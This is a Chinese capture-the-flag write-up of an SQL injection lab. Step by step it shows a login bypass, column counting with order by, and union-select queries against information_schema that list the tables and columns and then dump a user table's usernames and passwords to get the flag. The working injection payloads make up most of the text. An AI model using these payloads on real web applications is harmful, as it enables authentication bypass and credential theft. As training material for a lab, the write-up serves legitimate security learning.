打开靶场,访问题目:
万能密码尝试登录 ,得到了用户名和密码
尝试密码md5
解密失败,还是回到注入的思路上
先在username处测试一下有没有注入点:这个题目username和password两个地方都可以作为注入点
?username=1' order by 1%23&password=ads
没有报错,只是说账号密码错误。直到order by 4
的时候,报错了:
4报错,说明3个字段,接下来开始寻找注入点:
联合注入
?username=1' union select 1,2,3%23&password=ads
很明显2和3都是注入点 ,我们查询当前所用的数据库名
?username=1' union select 1,database(),3%23&password=ads
得到数据库名:
geek!
接着查询geek里的表名,最后用group_concat,将所有的表都显示出来
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
得到表名geekuser,l0ve1ysq1information_schema 这个库里包含了所有创建的库,表的信息
然后查询列名:我先查的l0ve1ysq1,和题目一样,flag可能性大一点
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
得到字段名id,username,password
然后查询这张表的内容得到flag
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads